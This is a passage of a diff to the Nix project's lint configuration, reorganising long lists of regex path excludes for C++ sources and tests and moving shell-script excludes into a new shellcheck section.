+            ''^src/libexpr/value-to-json\.hh$''
+            ''^src/libexpr/value-to-xml\.cc$''
+            ''^src/libexpr/value-to-xml\.hh$''
+            ''^src/libexpr/value\.hh$''
+            ''^src/libexpr/value/context\.cc$''
+            ''^src/libexpr/value/context\.hh$''
+            ''^src/libfetchers/attrs\.cc$''
+            ''^src/libfetchers/cache\.cc$''
+            ''^src/libfetchers/cache\.hh$''
+            ''^src/libfetchers/fetch-settings\.cc$''
+            ''^src/libfetchers/fetch-settings\.hh$''
+            ''^src/libfetchers/fetch-to-store\.cc$''
+            ''^src/libfetchers/fetchers\.cc$''
+            ''^src/libfetchers/fetchers\.hh$''
+            ''^src/libfetchers/filtering-source-accessor\.cc$''
+            ''^src/libfetchers/filtering-source-accessor\.hh$''
+            ''^src/libfetchers/fs-source-accessor\.cc$''
+            ''^src/libfetchers/fs-source-accessor\.hh$''
+            ''^src/libfetchers/git-utils\.cc$''
+            ''^src/libfetchers/git-utils\.hh$''
+            ''^src/libfetchers/github\.cc$''
+            ''^src/libfetchers/indirect\.cc$''
+            ''^src/libfetchers/memory-source-accessor\.cc$''
+            ''^src/libfetchers/path\.cc$''
+            ''^src/libfetchers/registry\.cc$''
+            ''^src/libfetchers/registry\.hh$''
+            ''^src/libfetchers/tarball\.cc$''
+            ''^src/libfetchers/tarball\.hh$''
+            ''^src/libfetchers/unix/git\.cc$''
+            ''^src/libfetchers/unix/mercurial\.cc$''
+            ''^src/libmain/common-args\.cc$''
+            ''^src/libmain/common-args\.hh$''
+            ''^src/libmain/loggers\.cc$''
+            ''^src/libmain/loggers\.hh$''
+            ''^src/libmain/progress-bar\.cc$''
+            ''^src/libmain/shared\.cc$''
+            ''^src/libmain/shared\.hh$''
+            ''^src/libmain/unix/stack\.cc$''
+            ''^src/libstore/binary-cache-store\.cc$''
+            ''^src/libstore/binary-cache-store\.hh$''
+            ''^src/libstore/build-result\.hh$''
+            ''^src/libstore/builtins\.hh$''
+            ''^src/libstore/builtins/buildenv\.cc$''
+            ''^src/libstore/builtins/buildenv\.hh$''
+            ''^src/libstore/common-protocol-impl\.hh$''
+            ''^src/libstore/common-protocol\.cc$''
+            ''^src/libstore/common-protocol\.hh$''
+            ''^src/libstore/content-address\.cc$''
+            ''^src/libstore/content-address\.hh$''
+            ''^src/libstore/daemon\.cc$''
+            ''^src/libstore/daemon\.hh$''
+            ''^src/libstore/derivations\.cc$''
+            ''^src/libstore/derivations\.hh$''
+            ''^src/libstore/derived-path-map\.cc$''
+            ''^src/libstore/derived-path-map\.hh$''
+            ''^src/libstore/derived-path\.cc$''
+            ''^src/libstore/derived-path\.hh$''
+            ''^src/libstore/downstream-placeholder\.cc$''
+            ''^src/libstore/downstream-placeholder\.hh$''
+            ''^src/libstore/dummy-store\.cc$''
+            ''^src/libstore/export-import\.cc$''
+            ''^src/libstore/filetransfer\.cc$''
+            ''^src/libstore/filetransfer\.hh$''
+            ''^src/libstore/gc-store\.hh$''
+            ''^src/libstore/globals\.cc$''
+            ''^src/libstore/globals\.hh$''
+            ''^src/libstore/http-binary-cache-store\.cc$''
+            ''^src/libstore/legacy-ssh-store\.cc$''
+            ''^src/libstore/legacy-ssh-store\.hh$''
+            ''^src/libstore/length-prefixed-protocol-helper\.hh$''
+            ''^src/libstore/linux/personality\.cc$''
+            ''^src/libstore/linux/personality\.hh$''
+            ''^src/libstore/local-binary-cache-store\.cc$''
+            ''^src/libstore/local-fs-store\.cc$''
+            ''^src/libstore/local-fs-store\.hh$''
+            ''^src/libstore/log-store\.cc$''
+            ''^src/libstore/log-store\.hh$''
+            ''^src/libstore/machines\.cc$''
+            ''^src/libstore/machines\.hh$''
+            ''^src/libstore/make-content-addressed\.cc$''
+            ''^src/libstore/make-content-addressed\.hh$''
+            ''^src/libstore/misc\.cc$''
+            ''^src/libstore/names\.cc$''
+            ''^src/libstore/names\.hh$''
+            ''^src/libstore/nar-accessor\.cc$''
+            ''^src/libstore/nar-accessor\.hh$''
+            ''^src/libstore/nar-info-disk-cache\.cc$''
+            ''^src/libstore/nar-info-disk-cache\.hh$''
+            ''^src/libstore/nar-info\.cc$''
+            ''^src/libstore/nar-info\.hh$''
+            ''^src/libstore/outputs-spec\.cc$''
+            ''^src/libstore/outputs-spec\.hh$''
+            ''^src/libstore/parsed-derivations\.cc$''
+            ''^src/libstore/path-info\.cc$''
+            ''^src/libstore/path-info\.hh$''
+            ''^src/libstore/path-references\.cc$''
+            ''^src/libstore/path-regex\.hh$''
+            ''^src/libstore/path-with-outputs\.cc$''
+            ''^src/libstore/path\.cc$''
+            ''^src/libstore/path\.hh$''
+            ''^src/libstore/pathlocks\.cc$''
+            ''^src/libstore/pathlocks\.hh$''
+            ''^src/libstore/profiles\.cc$''
+            ''^src/libstore/profiles\.hh$''
+            ''^src/libstore/realisation\.cc$''
+            ''^src/libstore/realisation\.hh$''
+            ''^src/libstore/remote-fs-accessor\.cc$''
+            ''^src/libstore/remote-fs-accessor\.hh$''
+            ''^src/libstore/remote-store-connection\.hh$''
+            ''^src/libstore/remote-store\.cc$''
+            ''^src/libstore/remote-store\.hh$''
+            ''^src/libstore/s3-binary-cache-store\.cc$''
+            ''^src/libstore/s3\.hh$''
+            ''^src/libstore/serve-protocol-impl\.cc$''
+            ''^src/libstore/serve-protocol-impl\.hh$''
+            ''^src/libstore/serve-protocol\.cc$''
+            ''^src/libstore/serve-protocol\.hh$''
+            ''^src/libstore/sqlite\.cc$''
+            ''^src/libstore/sqlite\.hh$''
+            ''^src/libstore/ssh-store-config\.hh$''
+            ''^src/libstore/ssh-store\.cc$''
+            ''^src/libstore/ssh\.cc$''
+            ''^src/libstore/ssh\.hh$''
+            ''^src/libstore/store-api\.cc$''
+            ''^src/libstore/store-api\.hh$''
+            ''^src/libstore/store-dir-config\.hh$''
+            ''^src/libstore/unix/build/derivation-goal\.cc$''
+            ''^src/libstore/unix/build/derivation-goal\.hh$''
+            ''^src/libstore/build/drv-output-substitution-goal\.cc$''
+            ''^src/libstore/build/drv-output-substitution-goal\.hh$''
+            ''^src/libstore/build/entry-points\.cc$''
+            ''^src/libstore/build/goal\.cc$''
+            ''^src/libstore/build/goal\.hh$''
+            ''^src/libstore/unix/build/hook-instance\.cc$''
+            ''^src/libstore/unix/build/local-derivation-goal\.cc$''
+            ''^src/libstore/unix/build/local-derivation-goal\.hh$''
+            ''^src/libstore/build/substitution-goal\.cc$''
+            ''^src/libstore/build/substitution-goal\.hh$''
+            ''^src/libstore/build/worker\.cc$''
+            ''^src/libstore/build/worker\.hh$''
+            ''^src/libstore/unix/builtins/fetchurl\.cc$''
+            ''^src/libstore/unix/builtins/unpack-channel\.cc$''
+            ''^src/libstore/gc\.cc$''
+            ''^src/libstore/unix/local-overlay-store\.cc$''
+            ''^src/libstore/unix/local-overlay-store\.hh$''
+            ''^src/libstore/local-store\.cc$''
+            ''^src/libstore/local-store\.hh$''
+            ''^src/libstore/unix/user-lock\.cc$''
+            ''^src/libstore/unix/user-lock\.hh$''
+            ''^src/libstore/optimise-store\.cc$''
+            ''^src/libstore/unix/pathlocks\.cc$''
+            ''^src/libstore/posix-fs-canonicalise\.cc$''
+            ''^src/libstore/posix-fs-canonicalise\.hh$''
+            ''^src/libstore/uds-remote-store\.cc$''
+            ''^src/libstore/uds-remote-store\.hh$''
+            ''^src/libstore/windows/build\.cc$''
+            ''^src/libstore/worker-protocol-impl\.hh$''
+            ''^src/libstore/worker-protocol\.cc$''
+            ''^src/libstore/worker-protocol\.hh$''
+            ''^src/libutil-c/nix_api_util_internal\.h$''
+            ''^src/libutil/archive\.cc$''
+            ''^src/libutil/archive\.hh$''
+            ''^src/libutil/args\.cc$''
+            ''^src/libutil/args\.hh$''
+            ''^src/libutil/args/root\.hh$''
+            ''^src/libutil/callback\.hh$''
+            ''^src/libutil/canon-path\.cc$''
+            ''^src/libutil/canon-path\.hh$''
+            ''^src/libutil/chunked-vector\.hh$''
+            ''^src/libutil/closure\.hh$''
+            ''^src/libutil/comparator\.hh$''
+            ''^src/libutil/compute-levels\.cc$''
+            ''^src/libutil/config-impl\.hh$''
+            ''^src/libutil/config\.cc$''
+            ''^src/libutil/config\.hh$''
+            ''^src/libutil/current-process\.cc$''
+            ''^src/libutil/current-process\.hh$''
+            ''^src/libutil/english\.cc$''
+            ''^src/libutil/english\.hh$''
+            ''^src/libutil/environment-variables\.cc$''
+            ''^src/libutil/error\.cc$''
+            ''^src/libutil/error\.hh$''
+            ''^src/libutil/exit\.hh$''
+            ''^src/libutil/experimental-features\.cc$''
+            ''^src/libutil/experimental-features\.hh$''
+            ''^src/libutil/file-content-address\.cc$''
+            ''^src/libutil/file-content-address\.hh$''
+            ''^src/libutil/file-descriptor\.cc$''
+            ''^src/libutil/file-descriptor\.hh$''
+            ''^src/libutil/file-path-impl\.hh$''
+            ''^src/libutil/file-path\.hh$''
+            ''^src/libutil/file-system\.cc$''
+            ''^src/libutil/file-system\.hh$''
+            ''^src/libutil/finally\.hh$''
+            ''^src/libutil/fmt\.hh$''
+            ''^src/libutil/fs-sink\.cc$''
+            ''^src/libutil/fs-sink\.hh$''
+            ''^src/libutil/git\.cc$''
+            ''^src/libutil/git\.hh$''
+            ''^src/libutil/hash\.cc$''
+            ''^src/libutil/hash\.hh$''
+            ''^src/libutil/hilite\.cc$''
+            ''^src/libutil/hilite\.hh$''
+            ''^src/libutil/source-accessor\.hh$''
+            ''^src/libutil/json-impls\.hh$''
+            ''^src/libutil/json-utils\.cc$''
+            ''^src/libutil/json-utils\.hh$''
+            ''^src/libutil/linux/cgroup\.cc$''
+            ''^src/libutil/linux/namespaces\.cc$''
+            ''^src/libutil/logging\.cc$''
+            ''^src/libutil/logging\.hh$''
+            ''^src/libutil/lru-cache\.hh$''
+            ''^src/libutil/memory-source-accessor\.cc$''
+            ''^src/libutil/memory-source-accessor\.hh$''
+            ''^src/libutil/pool\.hh$''
+            ''^src/libutil/position\.cc$''
+            ''^src/libutil/position\.hh$''
+            ''^src/libutil/posix-source-accessor\.cc$''
+            ''^src/libutil/posix-source-accessor\.hh$''
+            ''^src/libutil/processes\.hh$''
+            ''^src/libutil/ref\.hh$''
+            ''^src/libutil/references\.cc$''
+            ''^src/libutil/references\.hh$''
+            ''^src/libutil/regex-combinators\.hh$''
+            ''^src/libutil/serialise\.cc$''
+            ''^src/libutil/serialise\.hh$''
+            ''^src/libutil/signals\.hh$''
+            ''^src/libutil/signature/local-keys\.cc$''
+            ''^src/libutil/signature/local-keys\.hh$''
+            ''^src/libutil/signature/signer\.cc$''
+            ''^src/libutil/signature/signer\.hh$''
+            ''^src/libutil/source-accessor\.cc$''
+            ''^src/libutil/source-accessor\.hh$''
+            ''^src/libutil/source-path\.cc$''
+            ''^src/libutil/source-path\.hh$''
+            ''^src/libutil/split\.hh$''
+            ''^src/libutil/suggestions\.cc$''
+            ''^src/libutil/suggestions\.hh$''
+            ''^src/libutil/sync\.hh$''
+            ''^src/libutil/terminal\.cc$''
+            ''^src/libutil/terminal\.hh$''
+            ''^src/libutil/thread-pool\.cc$''
+            ''^src/libutil/thread-pool\.hh$''
+            ''^src/libutil/topo-sort\.hh$''
+            ''^src/libutil/types\.hh$''
+            ''^src/libutil/unix/file-descriptor\.cc$''
+            ''^src/libutil/unix/file-path\.cc$''
+            ''^src/libutil/unix/monitor-fd\.hh$''
+            ''^src/libutil/unix/processes\.cc$''
+            ''^src/libutil/unix/signals-impl\.hh$''
+            ''^src/libutil/unix/signals\.cc$''
+            ''^src/libutil/unix-domain-socket\.cc$''
+            ''^src/libutil/unix/users\.cc$''
+            ''^src/libutil/url-parts\.hh$''
+            ''^src/libutil/url\.cc$''
+            ''^src/libutil/url\.hh$''
+            ''^src/libutil/users\.cc$''
+            ''^src/libutil/users\.hh$''
+            ''^src/libutil/util\.cc$''
+            ''^src/libutil/util\.hh$''
+            ''^src/libutil/variant-wrapper\.hh$''
+            ''^src/libutil/windows/environment-variables\.cc$''
+            ''^src/libutil/windows/file-descriptor\.cc$''
+            ''^src/libutil/windows/file-path\.cc$''
+            ''^src/libutil/windows/processes\.cc$''
+            ''^src/libutil/windows/users\.cc$''
+            ''^src/libutil/windows/windows-error\.cc$''
+            ''^src/libutil/windows/windows-error\.hh$''
+            ''^src/libutil/xml-writer\.cc$''
+            ''^src/libutil/xml-writer\.hh$''
+            ''^src/nix-build/nix-build\.cc$''
+            ''^src/nix-channel/nix-channel\.cc$''
+            ''^src/nix-collect-garbage/nix-collect-garbage\.cc$''
+            ''^src/nix-env/buildenv.nix$''
+            ''^src/nix-env/nix-env\.cc$''
+            ''^src/nix-env/user-env\.cc$''
+            ''^src/nix-env/user-env\.hh$''
+            ''^src/nix-instantiate/nix-instantiate\.cc$''
+            ''^src/nix-store/dotgraph\.cc$''
+            ''^src/nix-store/graphml\.cc$''
+            ''^src/nix-store/nix-store\.cc$''
+            ''^src/nix/add-to-store\.cc$''
+            ''^src/nix/app\.cc$''
+            ''^src/nix/build\.cc$''
+            ''^src/nix/bundle\.cc$''
+            ''^src/nix/cat\.cc$''
+            ''^src/nix/config-check\.cc$''
+            ''^src/nix/config\.cc$''
+            ''^src/nix/copy\.cc$''
+            ''^src/nix/derivation-add\.cc$''
+            ''^src/nix/derivation-show\.cc$''
+            ''^src/nix/derivation\.cc$''
+            ''^src/nix/develop\.cc$''
+            ''^src/nix/diff-closures\.cc$''
+            ''^src/nix/dump-path\.cc$''
+            ''^src/nix/edit\.cc$''
+            ''^src/nix/eval\.cc$''
+            ''^src/nix/flake\.cc$''
+            ''^src/nix/fmt\.cc$''
+            ''^src/nix/hash\.cc$''
+            ''^src/nix/log\.cc$''
+            ''^src/nix/ls\.cc$''
+            ''^src/nix/main\.cc$''
+            ''^src/nix/make-content-addressed\.cc$''
+            ''^src/nix/nar\.cc$''
+            ''^src/nix/optimise-store\.cc$''
+            ''^src/nix/path-from-hash-part\.cc$''
+            ''^src/nix/path-info\.cc$''
+            ''^src/nix/prefetch\.cc$''
+            ''^src/nix/profile\.cc$''
+            ''^src/nix/realisation\.cc$''
+            ''^src/nix/registry\.cc$''
+            ''^src/nix/repl\.cc$''
+            ''^src/nix/run\.cc$''
+            ''^src/nix/run\.hh$''
+            ''^src/nix/search\.cc$''
+            ''^src/nix/sigs\.cc$''
+            ''^src/nix/store-copy-log\.cc$''
+            ''^src/nix/store-delete\.cc$''
+            ''^src/nix/store-gc\.cc$''
+            ''^src/nix/store-info\.cc$''
+            ''^src/nix/store-repair\.cc$''
+            ''^src/nix/store\.cc$''
+            ''^src/nix/unix/daemon\.cc$''
+            ''^src/nix/upgrade-nix\.cc$''
+            ''^src/nix/verify\.cc$''
+            ''^src/nix/why-depends\.cc$''
 
-        # We haven't lintted these files yet (shell)
-        ''^config/install-sh$''
-        ''^misc/systemv/nix-daemon$''
-        ''^misc/bash/completion\.sh$''
-        ''^misc/fish/completion\.fish$''
-        ''^misc/zsh/completion\.zsh$''
-        ''^scripts/check-hydra-status\.sh$''
-        ''^scripts/create-darwin-volume\.sh$''
-        ''^scripts/install-darwin-multi-user\.sh$''
-        ''^scripts/install-multi-user\.sh$''
-        ''^scripts/install-nix-from-closure\.sh$''
-        ''^scripts/install-systemd-multi-user\.sh$''
-        ''^src/nix/get-env\.sh$''
-        ''^tests/functional/add\.sh$''
-        ''^tests/functional/bash-profile\.sh$''
-        ''^tests/functional/binary-cache-build-remote\.sh$''
-        ''^tests/functional/binary-cache\.sh$''
-        ''^tests/functional/brotli\.sh$''
-        ''^tests/functional/build-delete\.sh$''
-        ''^tests/functional/build-dry\.sh$''
-        ''^tests/functional/build-remote-content-addressed-fixed\.sh$''
-        ''^tests/functional/build-remote-content-addressed-floating\.sh$''
-        ''^tests/functional/build-remote-input-addressed\.sh$''
-        ''^tests/functional/build-remote-trustless-after\.sh$''
-        ''^tests/functional/build-remote-trustless-should-fail-0\.sh$''
-        ''^tests/functional/build-remote-trustless-should-pass-0\.sh$''
-        ''^tests/functional/build-remote-trustless-should-pass-1\.sh$''
-        ''^tests/functional/build-remote-trustless-should-pass-2\.sh$''
-        ''^tests/functional/build-remote-trustless-should-pass-3\.sh$''
-        ''^tests/functional/build-remote-trustless\.sh$''
-        ''^tests/functional/build-remote-with-mounted-ssh-ng\.sh$''
-        ''^tests/functional/build-remote\.sh$''
-        ''^tests/functional/build\.sh$''
-        ''^tests/functional/ca/build-cache\.sh$''
-        ''^tests/functional/ca/build-dry\.sh$''
-        ''^tests/functional/ca/build-with-garbage-path\.sh$''
-        ''^tests/functional/ca/build\.sh$''
-        ''^tests/functional/ca/common\.sh$''
-        ''^tests/functional/ca/concurrent-builds\.sh$''
-        ''^tests/functional/ca/derivation-json\.sh$''
-        ''^tests/functional/ca/duplicate-realisation-in-closure\.sh$''
-        ''^tests/functional/ca/eval-store\.sh$''
-        ''^tests/functional/ca/gc\.sh$''
-        ''^tests/functional/ca/import-derivation\.sh$''
-        ''^tests/functional/ca/new-build-cmd\.sh$''
-        ''^tests/functional/ca/nix-copy\.sh$''
-        ''^tests/functional/ca/nix-run\.sh$''
-        ''^tests/functional/ca/nix-shell\.sh$''
-        ''^tests/functional/ca/post-hook\.sh$''
-        ''^tests/functional/ca/recursive\.sh$''
-        ''^tests/functional/ca/repl\.sh$''
-        ''^tests/functional/ca/selfref-gc\.sh$''
-        ''^tests/functional/ca/signatures\.sh$''
-        ''^tests/functional/ca/substitute\.sh$''
-        ''^tests/functional/ca/why-depends\.sh$''
-        ''^tests/functional/case-hack\.sh$''
-        ''^tests/functional/check-refs\.sh$''
-        ''^tests/functional/check-reqs\.sh$''
-        ''^tests/functional/check\.sh$''
-        ''^tests/functional/chroot-store\.sh$''
-        ''^tests/functional/common\.sh$''
-        ''^tests/functional/common/init\.sh$''
-        ''^tests/functional/completions\.sh$''
-        ''^tests/functional/compression-levels\.sh$''
-        ''^tests/functional/compute-levels\.sh$''
-        ''^tests/functional/config\.sh$''
-        ''^tests/functional/db-migration\.sh$''
-        ''^tests/functional/debugger\.sh$''
-        ''^tests/functional/dependencies\.builder0\.sh$''
-        ''^tests/functional/dependencies\.sh$''
-        ''^tests/functional/derivation-json\.sh$''
-        ''^tests/functional/dump-db\.sh$''
-        ''^tests/functional/dyn-drv/build-built-drv\.sh$''
-        ''^tests/functional/dyn-drv/common\.sh$''
-        ''^tests/functional/dyn-drv/dep-built-drv\.sh$''
-        ''^tests/functional/dyn-drv/eval-outputOf\.sh$''
-        ''^tests/functional/dyn-drv/old-daemon-error-hack\.sh$''
-        ''^tests/functional/dyn-drv/recursive-mod-json\.sh$''
-        ''^tests/functional/dyn-drv/text-hashed-output\.sh$''
-        ''^tests/functional/eval-store\.sh$''
-        ''^tests/functional/eval\.sh$''
-        ''^tests/functional/experimental-features\.sh$''
-        ''^tests/functional/export-graph\.sh$''
-        ''^tests/functional/export\.sh$''
-        ''^tests/functional/extra-sandbox-profile\.sh$''
-        ''^tests/functional/fetchClosure\.sh$''
-        ''^tests/functional/fetchGit\.sh$''
-        ''^tests/functional/fetchGitRefs\.sh$''
-        ''^tests/functional/fetchGitSubmodules\.sh$''
-        ''^tests/functional/fetchGitVerification\.sh$''
-        ''^tests/functional/fetchMercurial\.sh$''
-        ''^tests/functional/fetchPath\.sh$''
-        ''^tests/functional/fetchTree-file\.sh$''
-        ''^tests/functional/fetchurl\.sh$''
-        ''^tests/functional/filter-source\.sh$''
-        ''^tests/functional/fixed\.builder1\.sh$''
-        ''^tests/functional/fixed\.builder2\.sh$''
-        ''^tests/functional/fixed\.sh$''
-        ''^tests/functional/flakes/absolute-attr-paths\.sh$''
-        ''^tests/functional/flakes/absolute-paths\.sh$''
-        ''^tests/functional/flakes/build-paths\.sh$''
-        ''^tests/functional/flakes/bundle\.sh$''
-        ''^tests/functional/flakes/check\.sh$''
-        ''^tests/functional/flakes/circular\.sh$''
-        ''^tests/functional/flakes/common\.sh$''
-        ''^tests/functional/flakes/config\.sh$''
-        ''^tests/functional/flakes/develop\.sh$''
-        ''^tests/functional/flakes/flake-in-submodule\.sh$''
-        ''^tests/functional/flakes/flakes\.sh$''
-        ''^tests/functional/flakes/follow-paths\.sh$''
-        ''^tests/functional/flakes/init\.sh$''
-        ''^tests/functional/flakes/inputs\.sh$''
-        ''^tests/functional/flakes/mercurial\.sh$''
-        ''^tests/functional/flakes/prefetch\.sh$''
-        ''^tests/functional/flakes/run\.sh$''
-        ''^tests/functional/flakes/search-root\.sh$''
-        ''^tests/functional/flakes/show\.sh$''
-        ''^tests/functional/flakes/unlocked-override\.sh$''
-        ''^tests/functional/fmt\.sh$''
-        ''^tests/functional/fmt\.simple\.sh$''
-        ''^tests/functional/function-trace\.sh$''
-        ''^tests/functional/gc-auto\.sh$''
-        ''^tests/functional/gc-concurrent\.builder\.sh$''
-        ''^tests/functional/gc-concurrent\.sh$''
-        ''^tests/functional/gc-concurrent2\.builder\.sh$''
-        ''^tests/functional/gc-non-blocking\.sh$''
-        ''^tests/functional/gc-runtime\.sh$''
-        ''^tests/functional/gc\.sh$''
-        ''^tests/functional/git-hashing/common\.sh$''
-        ''^tests/functional/git-hashing/simple\.sh$''
-        ''^tests/functional/hash-convert\.sh$''
-        ''^tests/functional/hash-path\.sh$''
-        ''^tests/functional/help\.sh$''
-        ''^tests/functional/import-derivation\.sh$''
-        ''^tests/functional/impure-derivations\.sh$''
-        ''^tests/functional/impure-env\.sh$''
-        ''^tests/functional/impure-eval\.sh$''
-        ''^tests/functional/install-darwin\.sh$''
-        ''^tests/functional/lang-test-infra\.sh$''
-        ''^tests/functional/lang\.sh$''
-        ''^tests/functional/lang/framework\.sh$''
-        ''^tests/functional/legacy-ssh-store\.sh$''
-        ''^tests/functional/linux-sandbox\.sh$''
-        ''^tests/functional/local-overlay-store/add-lower-inner\.sh$''
-        ''^tests/functional/local-overlay-store/add-lower\.sh$''
-        ''^tests/functional/local-overlay-store/bad-uris\.sh$''
-        ''^tests/functional/local-overlay-store/build-inner\.sh$''
-        ''^tests/functional/local-overlay-store/build\.sh$''
-        ''^tests/functional/local-overlay-store/check-post-init-inner\.sh$''
-        ''^tests/functional/local-overlay-store/check-post-init\.sh$''
-        ''^tests/functional/local-overlay-store/common\.sh$''
-        ''^tests/functional/local-overlay-store/delete-duplicate-inner\.sh$''
-        ''^tests/functional/local-overlay-store/delete-duplicate\.sh$''
-        ''^tests/functional/local-overlay-store/delete-refs-inner\.sh$''
-        ''^tests/functional/local-overlay-store/delete-refs\.sh$''
-        ''^tests/functional/local-overlay-store/gc-inner\.sh$''
-        ''^tests/functional/local-overlay-store/gc\.sh$''
-        ''^tests/functional/local-overlay-store/optimise-inner\.sh$''
-        ''^tests/functional/local-overlay-store/optimise\.sh$''
-        ''^tests/functional/local-overlay-store/redundant-add-inner\.sh$''
-        ''^tests/functional/local-overlay-store/redundant-add\.sh$''
-        ''^tests/functional/local-overlay-store/remount\.sh$''
-        ''^tests/functional/local-overlay-store/stale-file-handle-inner\.sh$''
-        ''^tests/functional/local-overlay-store/stale-file-handle\.sh$''
-        ''^tests/functional/local-overlay-store/verify-inner\.sh$''
-        ''^tests/functional/local-overlay-store/verify\.sh$''
-        ''^tests/functional/logging\.sh$''
-        ''^tests/functional/misc\.sh$''
-        ''^tests/functional/multiple-outputs\.sh$''
-        ''^tests/functional/nar-access\.sh$''
-        ''^tests/functional/nested-sandboxing\.sh$''
-        ''^tests/functional/nested-sandboxing/command\.sh$''
-        ''^tests/functional/nix-build\.sh$''
-        ''^tests/functional/nix-channel\.sh$''
-        ''^tests/functional/nix-collect-garbage-d\.sh$''
-        ''^tests/functional/nix-copy-ssh-common\.sh$''
-        ''^tests/functional/nix-copy-ssh-ng\.sh$''
-        ''^tests/functional/nix-copy-ssh\.sh$''
-        ''^tests/functional/nix-daemon-untrusting\.sh$''
-        ''^tests/functional/nix-profile\.sh$''
-        ''^tests/functional/nix-shell\.sh$''
-        ''^tests/functional/nix_path\.sh$''
-        ''^tests/functional/optimise-store\.sh$''
-        ''^tests/functional/output-normalization\.sh$''
-        ''^tests/functional/parallel\.builder\.sh$''
-        ''^tests/functional/parallel\.sh$''
-        ''^tests/functional/pass-as-file\.sh$''
-        ''^tests/functional/path-from-hash-part\.sh$''
-        ''^tests/functional/path-info\.sh$''
-        ''^tests/functional/placeholders\.sh$''
-        ''^tests/functional/plugins\.sh$''
-        ''^tests/functional/post-hook\.sh$''
-        ''^tests/functional/pure-eval\.sh$''
-        ''^tests/functional/push-to-store-old\.sh$''
-        ''^tests/functional/push-to-store\.sh$''
-        ''^tests/functional/read-only-store\.sh$''
-        ''^tests/functional/readfile-context\.sh$''
-        ''^tests/functional/recursive\.sh$''
-        ''^tests/functional/referrers\.sh$''
-        ''^tests/functional/remote-store\.sh$''
-        ''^tests/functional/repair\.sh$''
-        ''^tests/functional/restricted\.sh$''
-        ''^tests/functional/search\.sh$''
-        ''^tests/functional/secure-drv-outputs\.sh$''
-        ''^tests/functional/selfref-gc\.sh$''
-        ''^tests/functional/shell\.sh$''
-        ''^tests/functional/shell\.shebang\.sh$''
-        ''^tests/functional/signing\.sh$''
-        ''^tests/functional/simple\.builder\.sh$''
-        ''^tests/functional/simple\.sh$''
-        ''^tests/functional/ssh-relay\.sh$''
-        ''^tests/functional/store-info\.sh$''
-        ''^tests/functional/structured-attrs\.sh$''
-        ''^tests/functional/substitute-with-invalid-ca\.sh$''
-        ''^tests/functional/suggestions\.sh$''
-        ''^tests/functional/supplementary-groups\.sh$''
-        ''^tests/functional/tarball\.sh$''
-        ''^tests/functional/test-infra\.sh$''
-        ''^tests/functional/test-libstoreconsumer\.sh$''
-        ''^tests/functional/timeout\.sh$''
-        ''^tests/functional/toString-path\.sh$''
-        ''^tests/functional/user-envs-migration\.sh$''
-        ''^tests/functional/user-envs-test-case\.sh$''
-        ''^tests/functional/user-envs\.builder\.sh$''
-        ''^tests/functional/user-envs\.sh$''
-        ''^tests/functional/why-depends\.sh$''
-        ''^tests/functional/zstd\.sh$''
-        ''^tests/unit/libutil/data/git/check-data\.sh$''
-      ];
+            ''^tests/functional/plugins/plugintest\.cc''
+            ''^tests/functional/test-libstoreconsumer/main\.cc''
+            ''^tests/nixos/ca-fd-leak/sender\.c''
+            ''^tests/nixos/ca-fd-leak/smuggler\.c''
+            ''^tests/unit/libexpr-support/tests/libexpr\.hh''
+            ''^tests/unit/libexpr-support/tests/value/context\.cc''
+            ''^tests/unit/libexpr-support/tests/value/context\.hh''
+            ''^tests/unit/libexpr/derived-path\.cc''
+            ''^tests/unit/libexpr/error_traces\.cc''
+            ''^tests/unit/libexpr/eval\.cc''
+            ''^tests/unit/libexpr/flake/flakeref\.cc''
+            ''^tests/unit/libexpr/flake/url-name\.cc''
+            ''^tests/unit/libexpr/json\.cc''
+            ''^tests/unit/libexpr/main\.cc''
+            ''^tests/unit/libexpr/primops\.cc''
+            ''^tests/unit/libexpr/search-path\.cc''
+            ''^tests/unit/libexpr/trivial\.cc''
+            ''^tests/unit/libexpr/value/context\.cc''
+            ''^tests/unit/libexpr/value/print\.cc''
+            ''^tests/unit/libfetchers/public-key\.cc''
+            ''^tests/unit/libstore-support/tests/derived-path\.cc''
+            ''^tests/unit/libstore-support/tests/derived-path\.hh''
+            ''^tests/unit/libstore-support/tests/libstore\.hh''
+            ''^tests/unit/libstore-support/tests/nix_api_store\.hh''
+            ''^tests/unit/libstore-support/tests/outputs-spec\.cc''
+            ''^tests/unit/libstore-support/tests/outputs-spec\.hh''
+            ''^tests/unit/libstore-support/tests/path\.cc''
+            ''^tests/unit/libstore-support/tests/path\.hh''
+            ''^tests/unit/libstore-support/tests/protocol\.hh''
+            ''^tests/unit/libstore/common-protocol\.cc''
+            ''^tests/unit/libstore/content-address\.cc''
+            ''^tests/unit/libstore/derivation\.cc''
+            ''^tests/unit/libstore/derived-path\.cc''
+            ''^tests/unit/libstore/downstream-placeholder\.cc''
+            ''^tests/unit/libstore/machines\.cc''
+            ''^tests/unit/libstore/nar-info-disk-cache\.cc''
+            ''^tests/unit/libstore/nar-info\.cc''
+            ''^tests/unit/libstore/outputs-spec\.cc''
+            ''^tests/unit/libstore/path-info\.cc''
+            ''^tests/unit/libstore/path\.cc''
+            ''^tests/unit/libstore/serve-protocol\.cc''
+            ''^tests/unit/libstore/worker-protocol\.cc''
+            ''^tests/unit/libutil-support/tests/characterization\.hh''
+            ''^tests/unit/libutil-support/tests/hash\.cc''
+            ''^tests/unit/libutil-support/tests/hash\.hh''
+            ''^tests/unit/libutil/args\.cc''
+            ''^tests/unit/libutil/canon-path\.cc''
+            ''^tests/unit/libutil/chunked-vector\.cc''
+            ''^tests/unit/libutil/closure\.cc''
+            ''^tests/unit/libutil/compression\.cc''
+            ''^tests/unit/libutil/config\.cc''
+            ''^tests/unit/libutil/file-content-address\.cc''
+            ''^tests/unit/libutil/git\.cc''
+            ''^tests/unit/libutil/hash\.cc''
+            ''^tests/unit/libutil/hilite\.cc''
+            ''^tests/unit/libutil/json-utils\.cc''
+            ''^tests/unit/libutil/logging\.cc''
+            ''^tests/unit/libutil/lru-cache\.cc''
+            ''^tests/unit/libutil/pool\.cc''
+            ''^tests/unit/libutil/references\.cc''
+            ''^tests/unit/libutil/suggestions\.cc''
+            ''^tests/unit/libutil/tests\.cc''
+            ''^tests/unit/libutil/url\.cc''
+            ''^tests/unit/libutil/xml-writer\.cc''
+          ];
+        };
+        shellcheck = {
+          enable = true;
+          excludes = [
+            # We haven't linted these files yet
+            ''^config/install-sh$''
+            ''^misc/systemv/nix-daemon$''
+            ''^misc/bash/completion\.sh$''
+            ''^misc/fish/completion\.fish$''
+            ''^misc/zsh/completion\.zsh$''
+            ''^scripts/check-hydra-status\.sh$''
+            ''^scripts/create-darwin-volume\.sh$''
